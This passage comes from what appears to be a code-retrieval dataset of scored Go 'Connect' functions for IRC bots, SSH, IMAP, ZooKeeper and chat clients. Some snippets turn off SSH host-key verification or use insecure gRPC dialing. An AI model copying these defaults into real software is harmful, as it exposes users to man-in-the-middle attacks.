messages\n\tconnectMsgBuffer.Clear()\n\n\t// Switch screens to the main app screen\n\tmainScreen.Activate()\n\tconnectScreen.Deactivate()\n\n\tif nick != \"\" {\n\t\tsetNickName(nick)\n\t}\n\n\t// Start the network handler goroutines\n\tgo addChatMessagesToBuffer(netMessageChan)\n\tgo getNetworkMessages(netMessageChan)\n\tgo sendChatMessages(netChatChan)\n}", "title": "" }, { "docid": "b2d65e43f71211178416af18299fd790", "score": "0.65962934", "text": "func (twitchBot *Bot) Connect() {\n\tvar err error\n\ttwitchBot.connection, err = net.Dial(\"tcp\", twitchBot.server+\":\"+twitchBot.port)\n\tif err != nil {\n\t\tfmt.Printf(\"There were errors conencting to the twitch server: %v, trying again\", err)\n\t\ttwitchBot.Connect()\n\t\treturn\n\t}\n\tfmt.Println(\"Connected to: \" + twitchBot.server + \": \" + twitchBot.channel)\n}", "title": "" }, { "docid": "3ae4a0b96e99ed3de07afcdc3c055fe4", "score": "0.6591488", "text": "func (c *Client) Connect() error {\n\tvar err error\n\tif c.conf.SSL {\n\t\tc.conn, err = tls.Dial(\"tcp\", c.conf.Host+\":\"+c.conf.Port, nil)\n\t} else {\n\t\tc.conn, err = net.Dial(\"tcp\", c.conf.Host+\":\"+c.conf.Port)\n\t}\n\tif err != nil {\n\t\treturn err\n\t}\n\tif c.conf.Pass != \"\" {\n\t\tc.Writef(\"PASS %s\\r\\n\", c.conf.Pass)\n\t}\n\tc.Writef(\"NICK %s\\r\\n\", c.conf.Nick)\n\tc.Writef(\"USER %s * * :%s\\r\\n\", c.conf.User, c.conf.Real)\n\treturn nil\n}", "title": "" }, { "docid": "f4e937d6879bf747e2fda07f834b9c50", "score": "0.6534328", "text": "func (bb *BasicBot) Connect() {\n\tvar err error\n\tfmt.Printf(\"[%s] Connecting to %s...\\n\", timeStamp(), bb.Server)\n\n\t// makes connection to Twitch IRC server\n\tbb.conn, err = net.Dial(\"tcp\", bb.Server+\":\"+bb.Port)\n\tif err != nil {\n\t\tfmt.Printf(\"[%s] cannot connect to %s, retrying.\\n\", timeStamp(), bb.Server)\n\t\treturn\n\t}\n\t// https://37.14.165.59\n\t// bb.ws, err = websocket.Dial(\"wss://pubsub-edge.twitch.tv\", \"\", \"https://\")\n\t// fmt.Println(\"=========================>\", bb.ws)\n\tgo maintainWsConn()\n\n\tif err != nil {\n\t\tfmt.Printf(\"[%s] cannot connect to %s, retrying.\\n\", timeStamp(), bb.Server)\n\t\treturn\n\t}\n\tfmt.Printf(\"[%s] Connected to %s!\\n\", timeStamp(), bb.Server)\n\tfmt.Println(\"HERE !!!!!!!!!!!!!!\")\n\tbb.startTime = time.Now()\n}", "title": "" }, { "docid": "f06938652f0c14e33a40480d351eea4d", "score": "0.63618916", "text": "func (c *Client) Connect(addr string, port int) error {\n\tservername := addr + \":\" + strconv.Itoa(port)\n\tconn, err := net.Dial(\"tcp\", servername)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tconnStruct := Connection{netConn: conn, writer: bufio.NewWriter(conn), reader: bufio.NewReader(conn), remoteType: SERVER}\n\n\t//tell server that your a client\n\terr = connStruct.writeMsg(CONNECT.String() + \"|\" + CLIENT.String())\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tc.conn = connStruct\n\tc.addr = addr\n\tc.port = port\n\tc.connected = true\n\treturn nil\n}", "title": "" }, { "docid": "62f0970a2bd2f2d0cc650080939d9e20", "score": "0.63228405", "text": "func (b *Bot) Connect(config Config) error {\n\tif b.status != DISCONNECTED {\n\t\treturn ErrAlreadyConnected\n\t}\n\tb.status = CONNECTING\n\tb.config = config\n\n\tnetconn, ircconn, err := b.makeIRCConn()\n\tif err != nil {\n\t\treturn err\n\t}\n\tb.conn = ircconn\n\n\tb.Log <- fmt.Sprintf(\"[bot] connecting addr: %s chan: %s\", b.config.Addr, b.config.Channel)\n\tb.JoinCmds(false)\n\tb.initcmds()\n\tgo b.sendloop()\n\treturn b.readloop(netconn, ircconn)\n}", "title": "" }, { "docid": "8dac46372ee894e7f681e0d883251ec5", "score": "0.6319834", "text": "func (c *TwitchChat) Connect() {\n\tvar err error\n\tc.Lock()\n\tc.conn, _, err = c.dialer.Dial(GetConfig().Twitch.SocketURL, c.headers)\n\tc.Unlock()\n\tif err != nil {\n\t\tlog.Printf(\"error connecting to twitch ws %s\", err)\n\t\tc.reconnect()\n\t}\n\n\tc.send(\"PASS \" + GetConfig().Twitch.OAuth)\n\tc.send(\"NICK \" + GetConfig().Twitch.Nick)\n\n\tfor _, ch := range c.channels {\n\t\tc.Join(ch, true)\n\t}\n}", "title": "" }, { "docid": "9dc876da79bea78cc57b9e74b93539bf", "score": "0.62686", "text": "func (n *Node) Connect(addr string) {\n conn, err := net.Dial(\"tcp\", addr)\n if err != nil {\n return\n }\n n.Connections[addr] = Connection{\n addr,\n conn,\n }\n go n.CheckIncoming(conn, n.In)\n}", "title": "" }, { "docid": "19febb3851596b79a394694ac454c865", "score": "0.61811876", "text": "func (s *CNServer) Connect() (goetty.IOSession, error) {\n\tc := goetty.NewIOSession(goetty.WithSessionCodec(frontend.NewSqlCodec()))\n\terr := c.Connect(s.addr, defaultConnectTimeout)\n\tif err != nil {\n\t\treturn nil, newConnectErr(err)\n\t}\n\tif len(s.salt) != 20 {\n\t\treturn nil, moerr.NewInternalErrorNoCtx(\"salt is empty\")\n\t}\n\t// When build connection with backend server, proxy send its salt\n\t// to make sure the backend server uses the same salt to do authentication.\n\tif err := c.Write(s.salt, goetty.WriteOptions{Flush: true}); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Send labels information.\n\treqLabel := &pb.RequestLabel{\n\t\tLabels: s.reqLabel.allLabels(),\n\t}\n\tdata, err := reqLabel.Encode()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif err := c.Write(data, goetty.WriteOptions{Flush: true}); err != nil {\n\t\treturn nil, err\n\t}\n\treturn c, nil\n}", "title": "" }, { "docid": "c37aed4f584b338143f26aca81ee7ab9", "score": "0.6178206", "text": "func (c *IPCSockClient) Connect() error {\n\tconn, err := net.Dial(\"unix\", c.socketFilePath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tsockResp := make(chan ipcSockResp)\n\tgo socketReader(conn, sockResp)\n\tc.sock = conn\n\tc.sockResp = sockResp\n\treturn nil\n}", "title": "" }, { "docid": "2d4f78020a8a39e6f96fc5324f2977a5", "score": "0.6160433", "text": "func (ch *InternalChannel) Connect(c *Client) {}", "title": "" }, { "docid": "4fc9c3d5adc300b780ccdea48eddc2fb", "score": "0.6149879", "text": "func (g *Gonet) Connect(retries int) error {\n\tsshConf := &ssh.ClientConfig{\n\t\tTimeout: time.Second * 5,\n\t\tUser: g.Username,\n\t\tAuth: []ssh.AuthMethod{\n\t\t\tssh.Password(g.Password),\n\t\t\tssh.KeyboardInteractive(func(user, instr string,\n\t\t\t\tquestions []string, echos []bool) ([]string, error) {\n\t\t\t\tanswers := make([]string, len(questions))\n\t\t\t\tfor i := range answers {\n\t\t\t\t\tanswers[i] = g.Password\n\t\t\t\t}\n\t\t\t\treturn answers, nil\n\t\t\t}),\n\t\t},\n\t\tHostKeyCallback: ssh.InsecureIgnoreHostKey(),\n\t}\n\t// Some models of devices may not have the correct ciphers\n\t// We could handle that hear\n\n\tsshClient, err := ssh.Dial(\"tcp\", g.IP+\":22\", sshConf)\n\tif err != nil {\n\t\tif retries == 0 {\n\t\t\treturn nil\n\t\t}\n\t\t// Before we give up on a filed handshake\n\t\tif strings.Contains(err.Error(), \"handshake\") {\n\t\t\tcount := retries - 1\n\t\t\treturn g.Connect(count)\n\t\t}\n\t\treturn err\n\t}\n\tsshSession, err := sshClient.NewSession()\n\tif err != nil {\n\t\tsshClient.Conn.Close()\n\t\treturn err\n\t}\n\tg.client = sshClient\n\tg.stdin, _ = sshSession.StdinPipe()\n\tg.stdout, _ = sshSession.StdoutPipe()\n\tg.Echo = false\n\t// We might need to set this higher for some devices\n\tif g.Timeout == 0 {\n\t\tif g.Model == \"3850\" {\n\t\t\tg.Timeout = 60\n\t\t} else {\n\t\t\tg.Timeout = 30\n\t\t}\n\t}\n\tsshSession.Shell()\n\tg.InputChan = make(chan *string, 10)\n\tg.StopChan = make(chan struct{})\n\tg.session = sshSession\n\t// This is here because of gets rid of\n\t// the --More-- \"prompt\" for read-outs\n\tg.stdin.Write([]byte(\"term len 0\\n\"))\n\treturn nil\n}", "title": "" }, { "docid": "e056a5779a319c708a4a448b09d1d699", "score": "0.6146594", "text": "func Connect(how, addr string) (*Sock, error) {\n s := NewSock(DefaultHandlers)\n return s, s.Connect(how, addr, DefaultLimits)\n}", "title": "" }, { "docid": "fe38f6f77cd939b081308225e6f4be3e", "score": "0.61443067", "text": "func (c *imapClient) Connect(ctx context.Context) error {\n\tif err := ctx.Err(); err != nil {\n\t\treturn err\n\t}\n\t//c.mu.Lock()\n\tif c.c != nil {\n\t\tc.c.Logout()\n\t\tc.c = nil\n\t}\n\taddr := c.Host + \":\" + strconv.Itoa(int(c.Port))\n\tvar cl *client.Client\n\tvar err error\n\tnoTLS := c.TLSPolicy == NoTLS || c.TLSPolicy == MaybeTLS && c.Port == 143\n\tif noTLS {\n\t\tcl, err = client.Dial(addr)\n\t} else {\n\t\tcl, err = client.DialTLS(addr, &TLSConfig)\n\t}\n\t//c.mu.Unlock()\n\tif err != nil {\n\t\tc.logger.Error(err, \"Connect\", \"addr\", addr)\n\t\treturn fmt.Errorf(\"%s: %w\", addr, err)\n\t}\n\tc.c = cl\n\tselect {\n\tcase <-ctx.Done():\n\t\treturn ctx.Err()\n\tdefault:\n\t}\n\tc.SetLogMask(c.logMask)\n\t//c.mu.Lock()\n\t//defer c.mu.Unlock()\n\tc.c.Timeout = 0\n\t// Enable encryption, if supported by the server\n\tif ok, _ := c.c.SupportStartTLS(); ok {\n\t\tc.logger.Info(\"Starting TLS\")\n\t\tc.c.StartTLS(&TLSConfig)\n\t}\n\n\t// Authenticate\n\treturn c.login(ctx)\n}", "title": "" }, { "docid": "fdf7979d561d1425d24845f11ea71cfb", "score": "0.61262167", "text": "func (gs *GnmiSession) Connect() {\n\n\tvar caddress *C.char = C.CString(gs.Address)\n\tdefer C.free(unsafe.Pointer(caddress))\n\tif gs.Port == 0 {\n\t\tgs.Port = 57400\n\t}\n\tvar cport C.int = C.int(gs.Port)\n\n\tvar cserver *C.char = C.CString(gs.ServerCert)\n\tdefer C.free(unsafe.Pointer(cserver))\n\n\tvar cclient *C.char = C.CString(gs.PrivateKey)\n\tdefer C.free(unsafe.Pointer(cclient))\n\n\tAddCState(&gs.State)\n\tcstate := GetCState(&gs.State)\n\n\tvar repopath *C.char = C.CString(gs.Repo.Path)\n\tdefer C.free(unsafe.Pointer(repopath))\n\trepo := C.RepositoryInitWithPath( *cstate, repopath)\n\tPanicOnCStateError(cstate)\n\n\tvar cusername *C.char = C.CString(gs.Username)\n\tdefer C.free(unsafe.Pointer(cusername))\n\tvar cpassword *C.char = C.CString(gs.Password)\n\tdefer C.free(unsafe.Pointer(cpassword))\n\n\tgs.Private = C.GnmiSessionInit( *cstate, repo, caddress, cport, cusername, cpassword, cserver, cclient);\n\tPanicOnCStateError(cstate)\n}", "title": "" }, { "docid": "d06109e483e272af7605d3534aeeb2ef", "score": "0.61248475", "text": "func (s *datingGameServer) Connect(ctx context.Context, in *pb.ConnectRequest) (*pb.ConnectResponse, error) {\n\t// Setup connection to chat server\n\tconn, err := grpc.Dial(in.Address, grpc.WithInsecure())\n\tif err != nil {\n\t\tlog.Fatalf(\"did not connect: %v\", err)\n\t}\n\ts.ConnMap[in.UserName] = clientChatConn{client: pb.NewClientChatClient(conn), conn: conn}\n\tfmt.Println(\"Registed \" + in.UserName + \".\")\n\n\treturn &pb.ConnectResponse{}, nil\n}", "title": "" }, { "docid": "7a8a9e1c5a79a2ca0874e78b0d1f4e74", "score": "0.61210054", "text": "func (a *Client) Connect() error {\n\tvar err error\n\n\ta.client, err = ssh.Dial(\"tcp\", a.Host, a.ClientConfig)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "74a23e636cea1d45990b0f43202399e8", "score": "0.60931915", "text": "func connect() net.Conn {\n\tconn, err := net.Dial(utils.ConnectionType, utils.ServerHost+\":\"+utils.ServerPort)\n\tif err != nil {\n\t\t_, _ = fmt.Fprint(os.Stderr, err.Error())\n\t}\n\treturn conn\n}", "title": "" }, { "docid": "ffb72ce22fb7c33f7486c19077895f9e", "score": "0.60561055", "text": "func NewClient(srv Server, c net.Conn) *ircClient {\n\tcl := &ircClient{\n\t\tsrv: srv,\n\t\tin: make(chan parser.Message, 10),\n\t\tout: make(chan parser.Message, 10),\n\t\tquit: make(chan string),\n\t\tcon: c,\n\t\tinlines: bufio.NewScanner(c),\n\t\tmodes: NewModeset(),\n\t\tchannels: make(map[string]Channel),\n\t}\n\n\t// grab just the ip of the remote user. pretty sure it's a TCPConn...\n\tif c != nil {\n\t\tif tcpa, ok := c.RemoteAddr().(*net.TCPAddr); ok {\n\t\t\tcl.host = tcpa.IP.String()\n\t\t}\n\t}\n\n\tif cl.host == \"\" {\n\t\tcl.host = \"UNKNOWN\"\n\t}\n\n\tgo cl.readin()\n\tgo cl.loop()\n\n\treturn cl\n}", "title": "" }, { "docid": "e1e0e1d8f76dd08fa01d1eb9f464f804", "score": "0.60528237", "text": "func (pc *Client) Connect() (err error) {\n\n\tif DEBUG {\n\t\tfmt.Printf(\"Connecting to %s\\n\", pc.server)\n\t}\n\n\tc, _, err := websocket.DefaultDialer.Dial(pc.server, nil)\n\n\tif err != nil {\n\t\treturn\n\t}\n\n\tpc.connection = c\n\n\tgo func() {\n\t\tfor {\n\t\t\t_, message, err := c.ReadMessage()\n\t\t\tif err != nil {\n\t\t\t\tpc.disconnected()\n\t\t\t\treturn\n\t\t\t}\n\t\t\tpc.receive(message)\n\t\t}\n\t}()\n\n\terr = pc.wait(messages.TYPE_HELLO, \"\")\n\n\tif err != nil {\n\t\tpc.connected = true\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "cf545eb19e84965bec70d06e6a29e7e6", "score": "0.6050827", "text": "func (c *IQC) Connect() {\n\tc.Write(\"S,CONNECT\\r\\n\")\n}", "title": "" }, { "docid": "3927a9e562851648cef8b8ea86cd7929", "score": "0.6048978", "text": "func (c *Client) Connect(host, port string) {\n\taddr := net.JoinHostPort(host, port)\n\n\tconn, err := net.Dial(\"tcp\", addr)\n\n\tif err != nil {\n\t\tpanic(fmt.Sprintf(\"error dialing to %s\", addr))\n\t}\n\n\tc.Conn = conn\n\n\tc.Connected <- true\n}", "title": "" }, { "docid": "53d1da01f5ff71c624a8893438dcae81", "score": "0.60441935", "text": "func (c *Client) Connect(address string) {\n\n\tsshClient, err := ssh.Dial(\"tcp\", address, c.Config)\n\tif err != nil {\n\t\tpanic(\"Failed to dial: \" + err.Error())\n\t}\n\tc.sshClient = sshClient\n\n\tc.openRPCServerChannel(c.ChannelName + \"-reverse\")\n\n\t// Each ClientConn can support multiple channels\n\tchannel, err := openRPCClientChannel(c.sshClient.Conn, c.ChannelName)\n\tif err != nil {\n\t\tpanic(\"Failed to create channel: \" + err.Error())\n\t}\n\n\tc.Client = rpc.NewClient(channel)\n\n}", "title": "" }, { "docid": "18b0d6e7c940f0a8bd5f1667290b53d0", "score": "0.60191554", "text": "func (rm RemoteMachine) Connect(withX bool) error {\n\tvar cmd *exec.Cmd\n\n\tconnectionString := fmt.Sprintf(\"%s@%s\", rm.User, rm.Host)\n\tif withX {\n\t\tcmd = exec.Command(rm.Protocol, \"-X\", connectionString)\n\t} else {\n\t\tcmd = exec.Command(rm.Protocol, connectionString)\n\t}\n\n\tcmd = exec.Command(rm.Protocol, connectionString)\n\tcmd.Stdin = os.Stdin\n\tcmd.Stdout = os.Stdout\n\tcmd.Stderr = os.Stderr\n\tif err := cmd.Run(); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "0c4db0c1a28b02acd77ea017d3508361", "score": "0.60138845", "text": "func (c *Client) Connect() error {\n\tserver := GetRandomCM()\n\tif server != nil {\n\t\tc.b.Debugf(\"choice cm server:%s\\n\", server.String())\n\t}\n\treturn c.ConnectTo(server)\n}", "title": "" }, { "docid": "59ebc6f016521be9e86a752b55143968", "score": "0.60102206", "text": "func (c *Client) connect() {\n\tlog.Debug(\"Connecting to the server...\")\n\tconn, err := net.Dial(\"tcp\", c.connString)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tlog.Debug(\"Connected to the server\")\n\tc.conn = conn\n\tc.w = gob.NewEncoder(conn)\n\tc.r = gob.NewDecoder(conn)\n}", "title": "" }, { "docid": "7b6628d246b20939b907f68c5e388c9c", "score": "0.5999951", "text": "func (m *Negronicql) Connect() error {\n\n\t//default to localhost\n\tif len(m.Ips) < 1 {\n\n\t\tm.Ips = []string{\"127.0.0.1\"}\n\n\t}\n\n\t//create cluster config if not created by user\n\tif m.Cluster == nil {\n\t\tm.Cluster = gocql.NewCluster(m.Ips...)\n\t\tm.Cluster.Keyspace = m.Keyspace\n\t\tm.Cluster.Consistency = m.Consistency\n\t}\n\n\tsession, err := m.Cluster.CreateSession()\n\n\tm.Session = session\n\n\tif err != nil {\n\n\t\treturn err\n\n\t}\n\n\treturn nil\n\n}", "title": "" }, { "docid": "5e1aa874a5cc1dad87fd47405e6f6feb", "score": "0.5999924", "text": "func (t *client) Connect() error {\n\terr := t.network.ResolveTCPAddr(\"tcp\", t.addr)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Error resolving statsite: %v\", err)\n\t}\n\n\tconn, err := t.network.DialTimeout(\"tcp\", t.addr, 1*time.Second)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Error connecting to statsite: %v\", err)\n\t}\n\tt.Conn = conn\n\treturn nil\n\n}", "title": "" }, { "docid": "2f407b52145606fca5c8934b44376643", "score": "0.5991411", "text": "func (s *ServerConn) ClientConnect(ip *shared.ConnectionArgs, success *shared.ConnectionReply) error {\n\tAllClients.Lock()\n\tdefer AllClients.Unlock()\n\n\ttoRegister := (*ip).IP\n\tif _, exists := AllClients.All[toRegister]; exists {\n\t\t//return errors.New(\"ClientConnect err: IP already registered\")\n\t\tvar buf []byte\n\t\tvar msg string\n\t\tGoLogger.UnpackReceive(\"Received ClientConnect from Client\", ip.GoVector, &msg)\n\t\tbuf = GoLogger.PrepareSend(\"Sending ClientConnect back\", \"msg\")\n\n\t\t*success = shared.ConnectionReply{Success: true, GoVector: buf}\n\n\t\treturn nil\n\t}\n\n\t// TODO client should hold some locks at this point\n\tAllClients.All[toRegister] = &Connection{\n\t\ttoRegister,\n\t\ttime.Now().UnixNano(),\n\t\tnil,\n\t\tnil,\n\t\t0,\n\t}\n\n\tfmt.Printf(\"[RPC ClientConnect] register for new Client=%s\\n\", toRegister)\n\n\t//stop := make(chan bool)\n\tAllClients.All[toRegister].StopChannel = 0\n\n\tgo MonitorClients(toRegister, time.Duration(HeartbeatInterval)*time.Second*2, &AllClients.All[toRegister].StopChannel)\n\n\tconn, err := rpc.Dial(\"tcp\", toRegister)\n\tshared.CheckErr(err)\n\n\tAllClients.All[toRegister].Handle = conn\n\n\tfmt.Printf(\" Established bi-directional RPC to Client=%s\\n\", toRegister)\n\n\tvar ignored bool\n\tgo SendClientHeartbeats(conn, SelfIP, ignored)\n\n\tvar buf []byte\n\tvar msg string\n\tGoLogger.UnpackReceive(\"Received ClientConnect from Client\", ip.GoVector, &msg)\n\tbuf = GoLogger.PrepareSend(\"Sending ClientConnect back\", \"msg\")\n\n\t*success = shared.ConnectionReply{Success: true, GoVector: buf}\n\tfmt.Println(\"\")\n\n\treturn nil\n}", "title": "" }, { "docid": "1bec967a15847d6170fccfe1c5cb2f46", "score": "0.598901", "text": "func (c *LocalClient) Connect() error {\n\taddress := \":5000\"\n\tif c.port != 0 {\n\t\taddress = fmt.Sprintf(\":%d\", c.port)\n\t}\n\n\tlistener, err := net.Listen(\"tcp\", address)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() { _ = listener.Close() }()\n\n\tdone := new(AtomicBool)\n\tfor !done.Get() {\n\t\tconn, err := listener.Accept()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tgo func(conn net.Conn) {\n\t\t\tdefer func() { _ = conn.Close() }()\n\t\t\tfinished := c.REPL(conn, conn)\n\t\t\tif finished {\n\t\t\t\tdone.Set(true)\n\t\t\t\t_ = listener.Close()\n\t\t\t}\n\t\t}(conn)\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "21486dd5070b708f8e4d464025c34b76", "score": "0.5971718", "text": "func (c *Client) Connect() (err error) {\n\treturn c.sock.Connect()\n}", "title": "" }, { "docid": "c92c30d0b0e80a6284ebe8718444aed8", "score": "0.5971559", "text": "func (c *Conn) connect() error {\n\tlog.Debug(\"connect\", \"conn\", c, \"V\", debugV)\n\n\tsshAgent := false\n\tif c.Config == nil {\n\t\tconfig := DefaultClientConfig()\n\t\tc.Config = &config\n\t\tsshAgent = true\n\t}\n\n\tclient, err := ssh.Dial(\"tcp\", string(c.Remote), c.Config)\n\tif err != nil {\n\t\tlog.Error(\"cannot connect\", \"host\", c.Remote, \"agent\", sshAgent, \"err\", err)\n\t\treturn err\n\t}\n\n\tc.client = client\n\treturn nil\n}", "title": "" }, { "docid": "8d68da13d9d465e5407682d449a62157", "score": "0.59708047", "text": "func (r *NatsRPC) Connect(url string) error {\n\t// connect options\n\topts := []nats.Option{nats.Name(\"nats ion service\")}\n\topts = r.setupConnOptions(opts)\n\n\t// connect to nats server\n\tvar err error\n\tif r.nc, err = nats.Connect(url, opts...); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "74ef428ec72104980b70d32d73dd041b", "score": "0.5967105", "text": "func runServer(bindTo string) {\n\t// Create a listener\n\tlistener, err := net.Listen(\"tcp\", bindTo)\n\tif err != nil {\n\t\tlog.Fatalf(\"FATAL: Cannot open %v for listening.\\n%v\\n\", bindTo, err)\n\t}\n\tdefer listener.Close()\n\n\t// Initialize channels\n\tclientLogin := make(chan *client)\n\tclientQuit := make(chan *client)\n\tconnAccepted := make(chan net.Conn)\n\tmessages := make(chan message)\n\n\t// The read loop\n\treadLoop := func(conn net.Conn) {\n\t\t// Read first line which contains the username chosen by the client\n\t\tconn.SetReadDeadline(time.Now().Add(loginTimeout))\n\t\treader := bufio.NewReader(conn)\n\t\tuser, err := readLine(reader)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"ERROR: Cannot read user from new connection.\\n%v\\n\", err)\n\t\t\tconn.Close()\n\t\t\treturn\n\t\t}\n\n\t\t// Create the client object and signal a login\n\t\tcl := newClient(conn, user)\n\t\tclientLogin <- cl\n\n\t\t// Signal the quit channel when this function ends\n\t\tdefer func() { clientQuit <- cl }()\n\n\t\tfor {\n\t\t\t// Read next chat message\n\t\t\tconn.SetReadDeadline(time.Now().Add(inactivityTimeout))\n\t\t\tcmd, err := readLine(reader)\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"ERROR: Connection from '%v' closed prematurely.\\n%v\\n\",\n\t\t\t\t\tuser, err)\n\t\t\t\treturn // Quit on error\n\t\t\t}\n\n\t\t\tif strings.HasPrefix(cmd, \"*\") {\n\t\t\t\t// Normal (text) chat messages starts with a '*'\n\t\t\t\tmsg := message{user, cmd[1:]}\n\t\t\t\tmessages <- msg\n\t\t\t} else {\n\t\t\t\t// Handle special commands here\n\t\t\t\tswitch cmd {\n\t\t\t\tcase \"QUIT\":\n\t\t\t\t\t// Client gracefully requested to quit\n\t\t\t\t\treturn\n\t\t\t\tdefault:\n\t\t\t\t\tlog.Printf(\"WARNING: Unknown command message '%v' ignored.\\n\", cmd)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// Accept loop (accepts new connections and sends them to a channel)\n\tgo func() {\n\t\tfor {\n\t\t\tconn, err := listener.Accept()\n\t\t\tif err != nil {\n\t\t\t\tlog.Fatalf(\"ERROR: Cannot accept connection.\\n%v\\n\", err)\n\t\t\t}\n\t\t\tconnAccepted <- conn\n\t\t}\n\t}()\n\n\t// Maps username to its respective client struct\n\tclients := map[string]*client{}\n\n\t// Event loop\n\tfor {\n\t\tselect {\n\t\t// A new connection was accepted\n\t\tcase conn := <-connAccepted:\n\t\t\tgo readLoop(conn)\n\t\t// Client connection error or client gracefuly quit\n\t\tcase cl := <-clientQuit:\n\t\t\tlog.Printf(\"[%v] Quits\\n\", cl.user)\n\t\t\tdelete(clients, cl.user)\n\t\t\tcl.conn.Close()\n\t\t// New client connection successfully passed the login stage\n\t\tcase cl := <-clientLogin:\n\t\t\tif clients[cl.user] != nil {\n\t\t\t\tlog.Printf(\"ERROR: Username already exist: %v\", cl.user)\n\t\t\t\tcl.conn.Close()\n\t\t\t} else {\n\t\t\t\tclients[cl.user] = cl\n\t\t\t}\n\t\t// One of the clients sent a message to everyody\n\t\tcase msg := <-messages:\n\t\t\t// Format message to include sender's username.\n\t\t\tmsgText := fmt.Sprintf(\"[%v]: %v\\n\", msg.user, msg.text)\n\t\t\tlog.Printf(msgText)\n\n\t\t\t// Broadcast message to all other clients...\n\t\t\tfor user, cl := range clients {\n\t\t\t\tif user != msg.user { // ...except the sender, of course.\n\t\t\t\t\t// We spawn a separate goroutine for each client, to avoid\n\t\t\t\t\t// sequentially blocking on write for every single client.\n\t\t\t\t\tgo func(cl *client) {\n\t\t\t\t\t\tcl.conn.SetWriteDeadline(time.Now().Add(writeTimeout))\n\t\t\t\t\t\tif _, err := cl.conn.Write([]byte(msgText)); err != nil {\n\t\t\t\t\t\t\tclientQuit <- cl // Quit on error\n\t\t\t\t\t\t}\n\t\t\t\t\t}(cl)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "b777660cd663df70855e4825df44fb3b", "score": "0.5955208", "text": "func (s *Sock) Connect(how, addr string, limits Limits) error {\n c, err := net.Dial(how, addr)\n if err != nil {\n return err\n }\n s.Adopt(c)\n if err := s.Handshake(); err != nil {\n return err\n }\n go s.Read(limits)\n return nil\n}", "title": "" }, { "docid": "2cc3172893aa372859a44a9451499391", "score": "0.5950945", "text": "func Connect(hostname string, host string, methods ...ssh.AuthMethod) (*ssh.Client, error) {\n\tcfg := ssh.ClientConfig{\n\t\tUser: hostname,\n\t\tAuth: methods,\n\t\tHostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {\n\t\t\treturn nil\n\t\t},\n\t}\n\n\treturn ssh.Dial(\"tcp\", host, &cfg)\n}", "title": "" }, { "docid": "3ef955f3aabd80ec626f16fbdb21f3d3", "score": "0.59361535", "text": "func (h *HAProxyClient) connect() (err error) {\n\tswitch h.AfNet {\n\tcase AFNET_UNIX:\n\tcase AFNET_TCP4:\n\t\terr = isValidIPv4Addr(h.Address)\n\tcase AFNET_TCP6:\n\t\terr = isValidIPv6Addr(h.Address)\n\tdefault:\n\t\terr = fmt.Errorf(\"Supported network types are '%s', '%s', and '%s'\\n\",\n\t\t\tAFNET_UNIX, AFNET_TCP4, AFNET_TCP6)\n\t}\n\tif err == nil {\n\t\th.conn, err = net.DialTimeout(h.AfNet, h.Address, h.Timeout)\n\t}\n\treturn err\n}", "title": "" }, { "docid": "32b1c093e78fbbd4375edc7fc8863bb3", "score": "0.59241784", "text": "func Connect() error {\n\tconnection, err := net.Dial(\"unix\", config.SocketFile)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tlife.AddShutdownHook(func() {\n\t\tClose()\n\t\tfmt.Println(\"Client socket closed.\")\n\t})\n\n\tclientSocket = newSocket(connection)\n\n\twg.Add(1)\n\n\tclientSocket.OnClose(func() {\n\t\tbus.Publish(\"close\")\n\t})\n\n\tclientSocket.OnError(func(err error) {\n\t\tbus.Publish(\"error\", err)\n\t})\n\n\tbus.Publish(\"new\", clientSocket)\n\n\treturn nil\n}", "title": "" }, { "docid": "c8294e2812f1b9008c27503193bd9271", "score": "0.5921073", "text": "func Connect(servers []string, sessionTimeout time.Duration, options ...connOption) (*Conn, <-chan Event, error) {\n\tif len(servers) == 0 {\n\t\treturn nil, nil, errors.New(\"zk: server list must not be empty\")\n\t}\n\n\tsrvs := make([]string, len(servers))\n\n\tfor i, addr := range servers {\n\t\tif strings.Contains(addr, \":\") {\n\t\t\tsrvs[i] = addr\n\t\t} else {\n\t\t\tsrvs[i] = addr + \":\" + strconv.Itoa(DefaultPort)\n\t\t}\n\t}\n\n\t// Randomize the order of the servers to avoid creating hotspots\n\tstringShuffle(srvs)\n\n\tec := make(chan Event, eventChanSize)\n\tconn := &Conn{\n\t\tdialer: net.DialTimeout,\n\t\thostProvider: &DNSHostProvider{},\n\t\tconn: nil,\n\t\tstate: StateDisconnected,\n\t\teventChan: ec,\n\t\tshouldQuit: make(chan struct{}),\n\t\tconnectTimeout: 1 * time.Second,\n\t\tsendChan: make(chan *request, sendChanSize),\n\t\trequests: make(map[int32]*request),\n\t\twatchers: make(map[watchPathType][]chan Event),\n\t\tpasswd: emptyPassword,\n\t\tlogger: DefaultLogger,\n\t\tlogInfo: true, // default is true for backwards compatability\n\t\tbuf: make([]byte, bufferSize),\n\t}\n\n\t// Set provided options.\n\tfor _, option := range options {\n\t\toption(conn)\n\t}\n\n\tif err := conn.hostProvider.Init(srvs); err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tconn.setTimeouts(int32(sessionTimeout / time.Millisecond))\n\n\tgo func() {\n\t\tconn.loop()\n\t\tconn.flushRequests(ErrClosing)\n\t\tconn.invalidateWatches(ErrClosing)\n\t\tclose(conn.eventChan)\n\t}()\n\treturn conn, ec, nil\n}", "title": "" }, { 